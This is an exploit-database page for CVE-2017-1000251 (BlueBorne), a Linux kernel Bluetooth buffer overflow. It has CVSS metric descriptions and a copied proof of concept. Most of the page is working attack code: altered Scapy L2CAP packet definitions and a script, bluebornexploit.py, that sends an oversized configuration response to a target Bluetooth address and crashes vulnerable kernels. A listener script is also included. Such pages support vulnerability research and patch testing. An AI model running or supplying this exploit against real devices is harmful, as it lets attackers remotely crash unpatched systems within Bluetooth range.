Linux Kernel < = 4.13.1 BlueTooth Buffer Overflow (PoC)
CVE
Category
Price
Severity
CVE-2017-1000251
CWE-119
Not disclosed
High
Author
Risk
Exploitation Type
Date
Google Security Research
High
Local
2017-09-22
CPE
cpe:cpe:/o:linux:linux_kernel:4.13.1
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Attack Requirements Present AT The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker). Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090173 Below is a copy:
Linux Kernel <= 4.13.1 BlueTooth Buffer Overflow (PoC) # Exploit Title: BlueBorne - Proof of Concept - Unarmed/Unweaponized - DoS (Crash) only
# Date: 09/21/2017
# Exploit Author: Marcin Kozlowski <[email protected] >
# Version: Kernel version v3.3-rc1, and thus affects all version from there on
# Tested on: Linux 4.4.0-93-generic #116
# CVE : CVE-2017-1000251
# Provided for legal security research and testing purposes ONLY.
Proof of Concept - Crash Only - Unarmed/Unweaponized/No Payload
After reading tons of Documentation and Protocol specifications.
1) Install Scapy
https://github.com/secdev/scapy
Add/Replace these requests and responses in Bluetooth Protocol stack to these:
scapy/layers/bluetooth.py
class L2CAP_ConfReq(Packet):
name = "L2CAP Conf Req"
fields_desc = [ LEShortField("dcid",0),
LEShortField("flags",0),
ByteField("type",0),
ByteField("length",0),
ByteField("identifier",0),
ByteField("servicetype",0),
LEShortField("sdusize",0),
LEIntField("sduarrtime",0),
LEIntField("accesslat",0),
LEIntField("flushtime",0),
]
class L2CAP_ConfResp(Packet):
name = "L2CAP Conf Resp"
fields_desc = [ LEShortField("scid",0),
LEShortField("flags",0),
LEShortField("result",0),
ByteField("type0",0),
ByteField("length0",0),
LEShortField("option0",0),
ByteField("type1",0),
ByteField("length1",0),
LEShortField("option1",0),
ByteField("type2",0),
ByteField("length2",0),
LEShortField("option2",0),
ByteField("type3",0),
ByteField("length3",0),
LEShortField("option3",0),
ByteField("type4",0),
ByteField("length4",0),
LEShortField("option4",0),
ByteField("type5",0),
ByteField("length5",0),
LEShortField("option5",0),
ByteField("type6",0),
ByteField("length6",0),
LEShortField("option6",0),
ByteField("type7",0),
ByteField("length7",0),
LEShortField("option7",0),
ByteField("type8",0),
ByteField("length8",0),
LEShortField("option8",0),
ByteField("type9",0),
ByteField("length9",0),
LEShortField("option9",0),
ByteField("type10",0),
ByteField("length10",0),
LEShortField("option10",0),
ByteField("type11",0),
ByteField("length11",0),
LEShortField("option11",0),
ByteField("type12",0),
ByteField("length12",0),
LEShortField("option12",0),
ByteField("type13",0),
ByteField("length13",0),
LEShortField("option13",0),
ByteField("type14",0),
ByteField("length14",0),
LEShortField("option14",0),
ByteField("type15",0),
ByteField("length15",0),
LEShortField("option15",0),
ByteField("type16",0),
ByteField("length16",0),
LEShortField("option16",0),
ByteField("type17",0),
ByteField("length17",0),
LEShortField("option17",0),
ByteField("type18",0),
ByteField("length18",0),
LEShortField("option18",0),
ByteField("type19",0),
ByteField("length19",0),
LEShortField("option19",0),
ByteField("type20",0),
ByteField("length20",0),
LEShortField("option20",0),
ByteField("type21",0),
ByteField("length21",0),
LEShortField("option21",0),
ByteField("type22",0),
ByteField("length22",0),
LEShortField("option22",0),
ByteField("type23",0),
ByteField("length23",0),
LEShortField("option23",0),
ByteField("type24",0),
ByteField("length24",0),
LEShortField("option24",0),
ByteField("type25",0),
ByteField("length25",0),
LEShortField("option25",0),
ByteField("type26",0),
ByteField("length26",0),
LEShortField("option26",0),
ByteField("type27",0),
ByteField("length27",0),
LEShortField("option27",0),
ByteField("type28",0),
ByteField("length28",0),
LEShortField("option28",0),
ByteField("type29",0),
ByteField("length29",0),
LEShortField("option29",0),
ByteField("type30",0),
ByteField("length30",0),
LEShortField("option30",0),
ByteField("type31",0),
ByteField("length31",0),
LEShortField("option31",0),
ByteField("type32",0),
ByteField("length32",0),
LEShortField("option32",0),
ByteField("type33",0),
ByteField("length33",0),
LEShortField("option33",0),
ByteField("type34",0),
ByteField("length34",0),
LEShortField("option34",0),
ByteField("type35",0),
ByteField("length35",0),
LEShortField("option35",0),
ByteField("type36",0),
ByteField("length36",0),
LEShortField("option36",0),
ByteField("type37",0),
ByteField("length37",0),
LEShortField("option37",0),
ByteField("type38",0),
ByteField("length38",0),
LEShortField("option38",0),
ByteField("type39",0),
ByteField("length39",0),
LEShortField("option39",0),
ByteField("type40",0),
ByteField("length40",0),
LEShortField("option40",0),
ByteField("type41",0),
ByteField("length41",0),
LEShortField("option41",0),
ByteField("type42",0),
ByteField("length42",0),
LEShortField("option42",0),
ByteField("type43",0),
ByteField("length43",0),
LEShortField("option43",0),
ByteField("type44",0),
ByteField("length44",0),
LEShortField("option44",0),
ByteField("type45",0),
ByteField("length45",0),
LEShortField("option45",0),
ByteField("type46",0),
ByteField("length46",0),
LEShortField("option46",0),
ByteField("type47",0),
ByteField("length47",0),
LEShortField("option47",0),
ByteField("type48",0),
ByteField("length48",0),
LEShortField("option48",0),
ByteField("type49",0),
ByteField("length49",0),
LEShortField("option49",0),
ByteField("type50",0),
ByteField("length50",0),
LEShortField("option50",0),
ByteField("type51",0),
ByteField("length51",0),
LEShortField("option51",0),
ByteField("type52",0),
ByteField("length52",0),
LEShortField("option52",0),
ByteField("type53",0),
ByteField("length53",0),
LEShortField("option53",0),
ByteField("type54",0),
ByteField("length54",0),
LEShortField("option54",0),
ByteField("type55",0),
ByteField("length55",0),
LEShortField("option55",0),
ByteField("type56",0),
ByteField("length56",0),
LEShortField("option56",0),
ByteField("type57",0),
ByteField("length57",0),
LEShortField("option57",0),
ByteField("type58",0),
ByteField("length58",0),
LEShortField("option58",0),
ByteField("type59",0),
ByteField("length59",0),
LEShortField("option59",0),
ByteField("type60",0),
ByteField("length60",0),
LEShortField("option60",0),
ByteField("type61",0),
ByteField("length61",0),
LEShortField("option61",0),
ByteField("type62",0),
ByteField("length62",0),
LEShortField("option62",0),
ByteField("type63",0),
ByteField("length63",0),
LEShortField("option63",0),
ByteField("type64",0),
ByteField("length64",0),
LEShortField("option64",0),
ByteField("type65",0),
ByteField("length65",0),
LEShortField("option65",0),
ByteField("type66",0),
ByteField("length66",0),
LEShortField("option66",0),
ByteField("type67",0),
ByteField("length67",0),
LEShortField("option67",0),
ByteField("type68",0),
ByteField("length68",0),
LEShortField("option68",0),
ByteField("type69",0),
ByteField("length69",0),
LEShortField("option69",0),
]
2) Exploit
bluebornexploit.py
------------------------
from scapy.all import *
pkt = L2CAP_CmdHdr(code=4)/
L2CAP_ConfReq(type=0x06,length=16,identifier=1,servicetype=0x0,sdusize=0xffff,sduarrtime=0xffffffff,accesslat=0xffffffff,flushtime=0xffffffff)
pkt1 = L2CAP_CmdHdr(code=5)/
L2CAP_ConfResp(result=0x04,type0=1,length0=2,option0=2000,type1=1,length1=2,option1=2000,type2=1,length2=2,option2=2000,type3=1,length3=2,option3=2000,type4=1,length4=2,option4=2000,type5=1,length5=2,option5=2000,type6=1,length6=2,option6=2000,type7=1,length7=2,option7=2000,type8=1,length8=2,option8=2000,type9=1,length9=2,option9=2000,type10=1,length10=2,option10=2000,type11=1,length11=2,option11=2000,type12=1,length12=2,option12=2000,type13=1,length13=2,option13=2000,type14=1,length14=2,option14=2000,type15=1,length15=2,option15=2000,type16=1,length16=2,option16=2000,type17=1,length17=2,option17=2000,type18=1,length18=2,option18=2000,type19=1,length19=2,option19=2000,type20=1,length20=2,option20=2000,type21=1,length21=2,option21=2000,type22=1,length22=2,option22=2000,type23=1,length23=2,option23=2000,type24=1,length24=2,option24=2000,type25=1,length25=2,option25=2000,type26=1,length26=2,option26=2000,type27=1,length27=2,option27=2000,type28=1,length28=2,option28=2000,type29=1,length29=2,option29=2000,type30=1,length30=2,option30=2000,type31=1,length31=2,option31=2000,type32=1,length32=2,option32=2000,type33=1,length33=2,option33=2000,type34=1,length34=2,option34=2000,type35=1,length35=2,option35=2000,type36=1,length36=2,option36=2000,type37=1,length37=2,option37=2000,type38=1,length38=2,option38=2000,type39=1,length39=2,option39=2000,type40=1,length40=2,option40=2000,type41=1,length41=2,option41=2000,type42=1,length42=2,option42=2000,type43=1,length43=2,option43=2000,type44=1,length44=2,option44=2000,type45=1,length45=2,option45=2000,type46=1,length46=2,option46=2000,type47=1,length47=2,option47=2000,type48=1,length48=2,option48=2000,type49=1,length49=2,option49=2000,type50=1,length50=2,option50=2000,type51=1,length51=2,option51=2000,type52=1,length52=2,option52=2000,type53=1,length53=2,option53=2000,type54=1,length54=2,option54=2000,type55=1,length55=2,option55=2000,type56=1,length56=2,option56=2000,type57=1,length57=2,option57=2000,type58=1,length58=2,option58=2000,type59=1,length59=2,option59=2000,type60=1,length60=2,option60=2000,type61=1,length61=2,option61=2000,type62=1,length62=2,option62=2000,type63=1,length63=2,option63=2000,type64=1,length64=2,option64=2000,type65=1,length65=2,option65=2000,type66=1,length66=2,option66=2000,type67=1,length67=2,option67=2000,type68=1,length68=2,option68=2000,type69=1,length69=2,option69=2000)
bt = BluetoothL2CAPSocket("00:1A:7D:DA:71:13")
bt.send(pkt)
bt.send(pkt1)
bluetoothsrv.py
--------------------
from scapy.all import *
bt = BluetoothL2CAPSocket("01:02:03:04:05:06")
bt.recv()
DEMO:
https://imgur.com/a/zcvLb
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